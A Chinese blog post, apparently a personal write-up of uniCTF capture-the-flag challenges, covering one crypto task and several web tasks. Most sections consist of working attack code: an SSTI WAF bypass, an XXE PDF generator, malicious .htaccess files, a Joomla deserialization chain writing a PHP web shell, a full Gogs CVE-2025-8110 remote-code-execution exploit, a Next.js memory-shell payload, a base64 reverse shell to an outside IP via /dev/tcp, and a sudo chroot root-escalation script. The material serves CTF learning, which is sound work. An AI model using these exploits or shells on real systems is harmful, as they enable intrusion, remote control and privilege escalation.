mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1326 字
4 分钟
uniCTF
2026-01-27

unionCTF#

战绩展示,一队四个人三个web手导致最终做题极度不均,不过学到了很多东西

image-20260131100231640

crypto#

Subgroup-Weaver#

题目中的 randint(1, 7) % 2 存在统计偏差,生成 1 的概率为 4/74/7(约 57%),生成 0 的概率为 3/73/7。 利用大数定律采集大量样本,若某一位上 1 的数量显著少于一半(说明 Key 将原本偏多的噪声 1 翻转为了 0),则该位 Key 为 1;否则为 0。

payload:

from pwn import *
from Crypto.Util.number import long_to_bytes
io = remote('nc1.ctfplus.cn', 43403)
samples = []
for _ in range(600):
io.sendlineafter(b'> ', b'')
samples.append(int(io.recvline().strip()))
key_int = 0
for i in range(512):
if sum((s >> i) & 1 for s in samples) < 300:
key_int |= (1 << i)
key_hex = long_to_bytes(key_int).hex()
io.sendlineafter(b'> ', key_hex.encode())
print(io.recvall().decode())

web#

IntraSight#

image-20260127185229624

发现8001端口存在管理后台,并且会派发一次性token,该token每使用一次就会失效

image-20260126103613193

先直接看这个后台给的东西,牵手成功,但是缺少必要请求头

X-Internal-Token:
origin:

image-20260127185633325

补上后牵手成功了,但是没有body,补上就可

4c9561dd34cbf7755fa9d8fa89b1cca0

发现ssti模板注入

0ed58458aa79db04b63e06403ee77947

拿到flag

GlyphWeaver#

Unicode 标准化 (NFKC) 漏洞

这是最根本的诱因。在 Python 的 Web 环境中,为了处理全球各地的字符输入,后端常使用 unicodedata.normalize('NFKC', input) 来统一字符格式。

  • 原理:许多 Unicode 字符在视觉上或逻辑上等同于标准 ASCII 字符。例如,全角字符 _ (U+FF3F) 在经过 NFKC 标准化后,会被转换成标准下划线 _ (U+005F)。

  • 对抗关系

    1. 用户输入:发送带有全角字符的 Payload,如 ﹛﹛self﹜﹜

    2. WAF 检查:WAF 只盯着标准字符(如 {{_)。由于全角字符不在黑名单里,WAF 判定为“安全”并放行。

    后端处理:程序调用 normalize 函数,将混淆字符一键还原成了标准的 Python/Jinja2 代码。

image-20260127185954034

所有我们可以将字符变成全角的从而绕过waf,因为题目提示说支持多种字体,但是他的校验是在转换成标准格式之前的,利用这一特性来绕过

下面是一个字符转换的脚本

import unicodedata
def generate_ctf_payload(raw_str):
# 1. 移除空格以节省字符数(Jinja2 不需要空格)
raw_str = raw_str.replace(" ", "")
result = ""
for char in raw_str:
# 寻找全角/兼容形式的 Unicode 字符
# 范围从 0xFF01 (!) 到 0xFF5E (~) 基本涵盖了所有 ASCII 字符
found = False
for code in range(0xFF01, 0xFF5F):
c = chr(code)
if unicodedata.normalize('NFKC', c) == char:
result += c
found = True
break
# 处理特殊符号:如果上面没找到,尝试手动定义的变体
if not found:
special_map = {
'{': '\uFE5B', # ﹛
'}': '\uFE5C', # ﹜
'.': '\uFF0E', # .
'_': '\uFF3F', # _
}
result += special_map.get(char, char)
return result
# --- 使用示例 ---
# 推荐使用 lipsum 方案,长度仅 56 字符,远低于 80 字符限制
my_payload = "{{7*7}}" #"{{lipsum.__globals__.__builtins__.open('/flag').read()}}"
final_payload = generate_ctf_payload(my_payload)
print(f"原始长度: {len(my_payload)}")
print(f"转换后的 Payload:\n{final_payload}")

image-20260127191632088

image-20260127191759589

win!!!

接下来就是激情ssti了

image-20260127191949229

image-20260127192005952

拿到flag了

SecureDoc#

上传普通 PDF 时,后端回显 No XFA content found in PDF

根据回显信息,确定后端会解析 PDF 中的 XFA (XML Forms Architecture) 数据 。由于 XFA 基于 XML 格式,推测后端解析引擎可能未禁用外部实体,存在 XXE (XML External Entity) 漏洞 。

# -*- coding: utf-8 -*-
import PyPDF2
import io
from PyPDF2.generic import DecodedStreamObject, NameObject, ArrayObject, DictionaryObject
def create_and_inject_xxe(output_filename):
# 1. 构造一个最简单的合法 PDF 结构
packet = io.BytesIO()
writer = PyPDF2.PdfWriter()
writer.add_blank_page(width=72, height=72)
writer.write(packet)
packet.seek(0)
# 2. 读取并准备写入
reader = PyPDF2.PdfReader(packet)
final_writer = PyPDF2.PdfWriter()
final_writer.add_page(reader.pages[0])
# 3. 准备恶意 XFA XML 载荷
# 注意:这里的 xml 格式必须严格遵守 XDP 规范
evil_xfa = '''<?xml version="1.0"?>
<!DOCTYPE xdp [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template>
<subform name="form1">
<field name="exploit">&xxe;</field>
</subform>
</template>
</xdp:xdp>'''
# 4. 创建 XFA 数据流对象
xfa_stream = DecodedStreamObject()
xfa_stream._data = evil_xfa.encode('utf-8')
xfa_ref = final_writer._add_object(xfa_stream)
# 5. 构建 AcroForm 字典
acroform = DictionaryObject({
NameObject('/Fields'): ArrayObject(),
NameObject('/XFA'): xfa_ref
})
# 6. 注入到根节点
final_writer._root_object.update({
NameObject('/AcroForm'): acroform
})
# 7. 保存文件
with open(output_filename, 'wb') as f:
final_writer.write(f)
print("成功!恶意 PDF 已生成: " + output_filename)
if __name__ == "__main__":
create_and_inject_xxe('evil.pdf')

image-20260127205519503

然后查看文件就能拿到flag了

image-20260127205818178

ezUpload#

题目环境为 Apache 且允许上传文件,考虑通过上传 .htaccess 配置文件来改变目录解析规则 。由于 1k 的限制,无法上传大型 Webshell,需寻找轻量级的读取方案。

利用 Apache 的 mod_headers 模块和 expr 表达式功能 。

  1. 开启索引:设置 Options +Indexes 以便查看目录 。

  2. 设置响应头:使用 Header set/flag 的内容读取并赋值给自定义响应头 X-Flag

  3. Payload (.htaccess)

    Options +Indexes
    DirectoryIndex /test.txt
    Header set X-Flag "expr=%{file:/flag}"

访问 /upload 目录,在 HTTP 响应头中获取 Flag

image-20260127210230538

ezupload revenge!!#

过滤了 expr=env、还有什么我记不得了,挺多的 。 解题思路是盲注,利用 RewriteCond 构造一个判断逻辑,具体如下 :

[cite_start]RewriteEngine On
RewriteCond expr "file('/flag') =~/^UniCTF{/"
RewriteRule readflag /upload/success [R=301,L]

如果 /flag 文件内容以 UniCTF{ 开头,就会执行下面的语句,也就是访问 /upload/readflag 会进行一次 301 跳转到 /upload/success 。写一个盲注脚本 :

import requests
import string
# 禁用代理,直连目标
session = requests.Session()
session.proxies = {"http": None, "https": None}
TARGET_URL = "http://80-4abe9029-a761-44c3-9159-406b239dbd79.challenge.ctfplus.cn/"
TRIGGER_URL = TARGET_URL + "upload/readflag"
# 字符集建议:十六进制常用字符 + 常用特殊符号
alphabet = string.ascii_letters + string.digits + "_-!}"
flag = "UniCTF{"
def solve():
global flag
while True:
for char in alphabet:
# 对正则元字符进行转义,防止匹配逻辑出错
test_char = char
if char in ".+*?^$()[]{}|\\":
test_char = "\\" + char
# 这里的 .htaccess 保持你测试成功的最简版本
htaccess = f"""RewriteEngine On
RewriteCond expr "file('/flag') =~ /^{flag}{test_char}/"
RewriteRule ^readflag /upload/success [R=301,L]"""
try:
# 1. 上传
session.post(TARGET_URL, files={'file': ('.htaccess', htaccess)}, timeout=10)
# 2. 触发并检查
r = session.get(TRIGGER_URL, allow_redirects=False, timeout=10)
print(f"\r测试中: {flag}{char}", end="")
if r.status_code == 301:
flag += char
print(f"\n[+] 命中! 目前 Flag: {flag}")
if char == "}":
return
break # 跳出当前字母循环,开始下一位
except Exception as e:
print(f"\n[!] 请求出错: {e}")
continue
solve()

我的脚本到最后一位会陷入循环,需要暂停脚本手动加上花括号 。

image-20260128125848653

CloudDiag#

image-20260211210056894

创建账号后给了一个cookie,但是用常规的jwt方法得到的第二部分是乱码,搜了一下是flask session,需要一个专门的解码工具

爆破一下

image-20260212110047554

接着利用key伪造cookie

奇怪登录异常,原来是弱口令

name:root
passwd:root123

image-20260212111134676

登录root权限,可以看到 root 的历史任务Legacy metadata check。进入任务详情页可见曾经访问的 Config URL:

image-20260212111227435 暴露了元数据服务地址 http://metadata:1338/ ,AWS元数据端点 /latest/metadata/iam/security-credentials/ ,IAM角色名 clouddiag-instance-role

访问 http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiaginstance-role 获取临时凭证

image-20260212112415570

image-20260212112348358 将获取的数据填入,查看clouddiag-secrets,发现flag

image-20260212112610600

进一步填写RrefixObject Key

image-20260212112652882

拿到flag

Joomla Revenge!*#

自己挖链子,还不会,先贴一个官方poc

<?php
namespace Joomla\CMS\Layout;
interface LayoutInterface
{}
namespace Joomla\CMS\Layout;
class BaseLayout implements LayoutInterface
{}
namespace Psr\Http\Message;
interface StreamInterface
{}
namespace Joomla\Filesystem;
class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = [];
}
}
namespace Laminas\Diactoros;
use Psr\Http\Message\StreamInterface;
use Stringable;
use Joomla\Filesystem\Patcher;
class CallbackStream implements StreamInterface, Stringable
{
public function __toString(): string
{
return "";
}
public function __construct() {
$this->callback = [new Patcher(), "apply"];
}
}
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;
class Stream
{
public function __construct() {
$this->fh = 1;
$this->processingmethod = new CallbackStream();
}
}
namespace Joomla\Filesystem;
$obj = new Stream();
echo base64_encode(serialize($obj));

gogogos*#

打 cve-2025-8110

贴出官方exp

import requests
import os
import subprocess
import shutil
import base64
import sys
import time
import argparse
# Configuration
TARGET_BASE_URL = "http://3000-e803afcd-74ea-4477-b954-d8011439f21e.challenge.ctfplus.cn/" # 目标Gogs, 需要开放注册功能或已存在可登录用户
USERNAME = "btop251" # 登录用户名
PASSWORD = "123456" # 登录密码
REPO_OWNER = "btop251" # 仓库所有者
REPO_NAME = "btop251" # 仓库名称
SYMLINK_FILENAME = "test" # 要创建的symlink文件名
TARGET_FILE = ".git/config" # symlink指向的目标文件,这里是git配置文件
# Derived constants
REPO_URL = f"{TARGET_BASE_URL}/{REPO_OWNER}/{REPO_NAME}.git"
API_URL = f"{TARGET_BASE_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/contents/{SYMLINK_FILENAME}"
import stat
def on_rm_error(func, path, exc_info):
# path contains the path of the file that couldn't be removed
# let's just assume it's read-only and try to make it writable.
os.chmod(path, stat.S_IWRITE)
try:
func(path)
except Exception:
pass
def setup_git_repo():
print(f"[*] Setting up local git repository to push symlink '{SYMLINK_FILENAME}' -> '{TARGET_FILE}'...")
if os.path.exists("temp_exploit_repo"):
try:
shutil.rmtree("temp_exploit_repo", onerror=on_rm_error)
except Exception as e:
print(f"[!] Warning: Could not clean up old repo: {e}")
if not os.path.exists("temp_exploit_repo"):
os.makedirs("temp_exploit_repo")
os.chdir("temp_exploit_repo")
try:
subprocess.run(["git", "init"], check=True)
# Create a dummy file to commit first (optional, but good practice)
with open("README.md", "w") as f:
f.write("# POC Repo")
subprocess.run(["git", "add", "README.md"], check=True)
subprocess.run(["git", "commit", "-m", "Initial commit"], check=True)
# Create the symlink using git hash-object
# We want SYMLINK_FILENAME to point to TARGET_FILE
print("[*] Creating symlink manually via git objects...")
# 1. Get hash of the target path string
# Note: echo -n is important to avoid newline
proc = subprocess.run(["git", "hash-object", "-w", "--stdin"], input=TARGET_FILE.encode(),
stdout=subprocess.PIPE, check=True)
blob_hash = proc.stdout.decode().strip()
# 2. Add to index as symlink (mode 120000)
subprocess.run(["git", "update-index", "--add", "--cacheinfo", "120000", blob_hash, SYMLINK_FILENAME],
check=True)
# Verify the mode in the index
proc_ls = subprocess.run(["git", "ls-files", "-s", SYMLINK_FILENAME], stdout=subprocess.PIPE, check=True)
print(f"[*] Verified git index mode: {proc_ls.stdout.decode().strip()}")
# 3. Commit
subprocess.run(["git", "commit", "-m", "Add malicious symlink"], check=True)
# 4. Push to remote
# Construct URL with credentials
# Handle protocol (http/https)
protocol = REPO_URL.split("://")[0]
rest = REPO_URL.split("://")[1]
auth_repo_url = f"{protocol}://{USERNAME}:{PASSWORD}@{rest}"
print(f"[*] Pushing to {REPO_URL}...")
subprocess.run(["git", "remote", "add", "origin", auth_repo_url], check=True)
subprocess.run(["git", "push", "-u", "origin", "main", "-f"], check=True)
print("[+] Symlink pushed successfully.")
except subprocess.CalledProcessError as e:
print(f"[-] Git operation failed: {e}")
sys.exit(1)
finally:
os.chdir("..")
def trigger_rce(rce_command, proxies=None):
print(f"[*] Triggering RCE by overwriting '{SYMLINK_FILENAME}' via API...")
print(f"[*] Command to execute: {rce_command}")
# Construct malicious git config
# We include standard core settings to avoid breaking git immediately
# The fsmonitor is the key payload
config_payload = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = "{rce_command}"
[remote "origin"]
url = {REPO_URL}
fetch = +refs/heads/*:refs/remotes/origin/*
"""
# Base64 encode the content
content_b64 = base64.b64encode(config_payload.encode()).decode()
payload = {
"content": content_b64,
"message": "Trigger RCE",
"branch": "master"
}
headers = {
"Content-Type": "application/json",
"Authorization": f"token {get_token()}" if False else None # We use Basic Auth
}
# Try to create a token first if Basic Auth fails or just use it
token = create_token(proxies)
if token:
print(f"[+] Obtained token: {token}")
headers["Authorization"] = f"token {token}"
auth = None # Do not use basic auth if we have token
else:
print("[!] Could not create token, falling back to Basic Auth (which failed previously with 401)")
auth = (USERNAME, PASSWORD)
print(f"[*] Sending PUT request to {API_URL}")
try:
response = requests.put(API_URL, json=payload, auth=auth, headers=headers, proxies=proxies)
print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Body: {response.text}")
if response.status_code == 500:
print("[+] Received 500 Internal Server Error. This is EXPECTED if the exploit worked!")
print(" The 'fsmonitor' command is executed when Gogs tries to run 'git add' internally.")
print(f" Check if the command '{rce_command}' was executed on the server.")
elif response.status_code == 200 or response.status_code == 201:
print("[-] Received 200/201. The file was updated. Check if RCE triggered.")
else:
print("[-] Unexpected response status.")
except Exception as e:
print(f"[-] Request failed: {e}")
def create_token(proxies=None):
print("[*] Attempting to create an access token via API...")
url = f"{TARGET_BASE_URL}/api/v1/users/{USERNAME}/tokens"
auth = (USERNAME, PASSWORD)
payload = {"name": f"exploit_token_{int(time.time())}"}
try:
response = requests.post(url, json=payload, auth=auth, proxies=proxies)
if response.status_code == 201:
return response.json().get("sha1")
else:
print(f"[-] Failed to create token. Status: {response.status_code}, Body: {response.text}")
return None
except Exception as e:
print(f"[-] Token creation request failed: {e}")
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Gogs CVE-2025-8110 RCE Exploit")
parser.add_argument("--command", default="touch /tmp/GOGS_RCE_SUCCESS_CVE_2025_8110",
help="Command to execute on the server")
parser.add_argument("--skip-setup", action="store_true", help="Skip git repo setup (use if already pushed)")
parser.add_argument("--proxy", default=None, help="Proxy URL (default: None)")
args = parser.parse_args()
proxies = None
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}
print(f"[*] Using proxy: {args.proxy}")
if not args.skip_setup:
setup_git_repo()
# Wait a moment to ensure consistency
time.sleep(2)
rce_command = args.command
# Escape double quotes for git config
rce_command = rce_command.replace('"', '\\"')
# For verification: Print the exact command being injected
print(f"[*] Injected fsmonitor command: {rce_command}")
trigger_rce(rce_command, proxies=proxies)

mio’s waf!!*#

这道题用了两个洞,一个是前段时间爆出来的nextjs的大洞CVE-2025-66478 ,还有一个提权的洞CVE-2025-32463_chwoot

而且这道题的waf相当强大,把我能想到的方式都waf了

官方的做法是通过两次unicode绕过

waf他会对我发的东西先进行一次unicode解码,没有触发黑名单就会发送给next.js的服务端。

所以我们这里使用二次unicode编码绕过就会被react服务器解析。

下面是一个内存马的payload:

POST / HTTP/1.1
Host: nc1.ctfplus.cn:33208
Content-Type: multipart/form-data; boundary=383e97eeef64d0c473a0924ed9968211
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Accept-Encoding: gzip, deflate, zstd
Cookie: waf_num_token1=1301; waf_num_token2=100393
Accept: */*
Next-Action: 409defd89dd31eeb200d9ea02b1f325d25f5f5f3f0
--383e97eeef64d0c473a0924ed9968211
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le
{{hexd(7B000A002000200022007400680065006E0022003A0020002200240031003A005F005F00700072006F0074006F005F005F003A007400680065006E0022002C000A0020002000220073007400610074007500730022003A00200022007200650073006F006C007600650064005F006D006F00640065006C0022002C000A0020002000220072006500610073006F006E0022003A0020002D0031002C000A00200020002200760061006C007500650022003A00200022007B005C0022007400680065006E005C0022003A005C0022002400420031005C0022007D0022002C000A002000200022005F0072006500730070006F006E007300650022003A0020007B000A00200020002000200022005F0070007200650066006900780022003A002000220028006100730079006E006300280029003D003E007B0063006F006E0073007400200068003D0061007700610069007400200069006D0070006F0072007400280027006E006F00640065003A006800740074007000270029002C0063003D0061007700610069007400200069006D0070006F0072007400280027006E006F00640065003A006300680069006C0064005F00700072006F006300650073007300270029003B0063006F006E007300740020006F003D0068002E005300650072007600650072002E00700072006F0074006F0074007900700065002E0065006D00690074003B0068002E005300650072007600650072002E00700072006F0074006F0074007900700065002E0065006D00690074003D006100730079006E0063002000660075006E006300740069006F006E00280065002C002E002E002E00610029007B0069006600280065003D003D003D0027007200650071007500650073007400270029007B0063006F006E00730074005B0072002C0073005D003D0061003B0069006600280072002E00750072006C003D003D003D0027002F0027007C007C0072002E00750072006C002E007300740061007200740073005700690074006800280027002F003F002700290029007B007400720079007B0063006F006E0073007400200063006D0064003D0072002E0068006500610064006500720073005B00270075007300650072002D006100670065006E00740027005D007C007C0027006900640027003B0063006F006E007300740020006F00750074003D0063002E006500780065006300530079006E006300280063006D0064002C007B0065006E0063006F00640069006E0067003A002700750074006600380027002C00740069006D0065006F00750074003A0035003000300030007D0029003B0073002E0077007200690074006500480065006100640028003200300030002C007B00270043006F006E00740065006E0074002D00540079007000650027003A00270074006500780074002F0070006C00610069006E0027002C00270058002D004D0065006D005300680065006C006C0027003A00270061006300740069007600650027007D0029003B0073002E0065006E00640028006F007500740029003B007D00630061007400630068002800780029007B0073002E00770072006900740065004800650061006400280035003000300029003B0073002E0065006E006400280078002E006D0065007300730061006700650029003B007D00720065007400750072006E00200074007200750065003B007D007D00720065007400750072006E0020006F002E006100700070006C007900280074006800690073002C0061007200670075006D0065006E007400730029003B007D003B007D002900280029003B0022002C000A00200020002000200022005F006300680075006E006B00730022003A002000220024005100320022002C000A00200020002000200022005F0066006F0072006D00440061007400610022003A0020007B000A00200020002000200020002000220067006500740022003A0020002200240031003A0063006F006E007300740072007500630074006F0072003A0063006F006E007300740072007500630074006F00720022000A0020002000200020007D000A00200020007D000A007D00)}}
--383e97eeef64d0c473a0924ed9968211
Content-Disposition: form-data; name="1"
"$@0"
--383e97eeef64d0c473a0924ed9968211
Content-Disposition: form-data; name="2"
[]
--383e97eeef64d0c473a0924ed9968211--

使用了yakit的Fuzztag {{hexd()}},因为这个是十六进制的文本,如果直接复制,在burpsuite中会当作普通文本而导致无法执行

image-20260215123206950

这样就代表内存马打上了

但是权限不够,需要利用另外一个漏洞进行提权

接着就可以弹shell了

bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MS4xOC45NS8yMzMzIDA+JjEK | base64 -d | bash"

image-20260215125431769

接下来需要执行的代码(摘自官方wp)

STAGE=$(mktemp -d /tmp/mio_exploit.XXXXXX)
cd "${STAGE?}" || exit 1
cat > mio.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void mio_init(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "cat /flag > /tmp/flag ", NULL);
}
EOF
mkdir -p mio_root/etc libnss_
echo "passwd: /mio" > mio_root/etc/nsswitch.conf
gcc -shared -fPIC -Wl,-init,mio_init -o libnss_/mio.so.2 mio.c >/dev/null 2>&1
sudo -R mio_root ls

base64处理后的指令

echo U1RBR0U9JChta3RlbXAgLWQgL3RtcC9taW9fZXhwbG9pdC5YWFhYWFgpCmNkICIke1NUQUdFP30iIHx8IGV4aXQgMQpjYXQgPiBtaW8uYzw8RU9GCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgbWlvX2luaXQodm9pZCkgewogICAgc2V0cmV1aWQoMCwwKTsKICAgIHNldHJlZ2lkKDAsMCk7CiAgICBjaGRpcigiLyIpOwogICAgZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWMiLCAiY2F0IC9mbGFnID4gL3RtcC9mbGFnICIsIE5VTEwpOwp9CkVPRgpta2RpciAtcCBtaW9fcm9vdC9ldGMgbGlibnNzXwplY2hvICJwYXNzd2Q6IC9taW8iID4gbWlvX3Jvb3QvZXRjL25zc3dpdGNoLmNvbmYKZ2NjIC1zaGFyZWQgLWZQSUMgLVdsLC1pbml0LG1pb19pbml0IC1vIGxpYm5zc18vbWlvLnNvLjIgbWlvLmMgPi9kZXYvbnVsbCAyPiYxCnN1ZG8gLVIgbWlvX3Jvb3QgbHMg | base64 -d | sh

这样就获得了一个提权后的账户

我这里是通过将flag的内容复制到tmp/flag中,再cat /tmp/flag来完成的

image-20260215125354717

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

uniCTF
https://btop251.vercel.app/posts/ctf/unictf-wp/
作者
btop251
发布于
2026-01-27
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时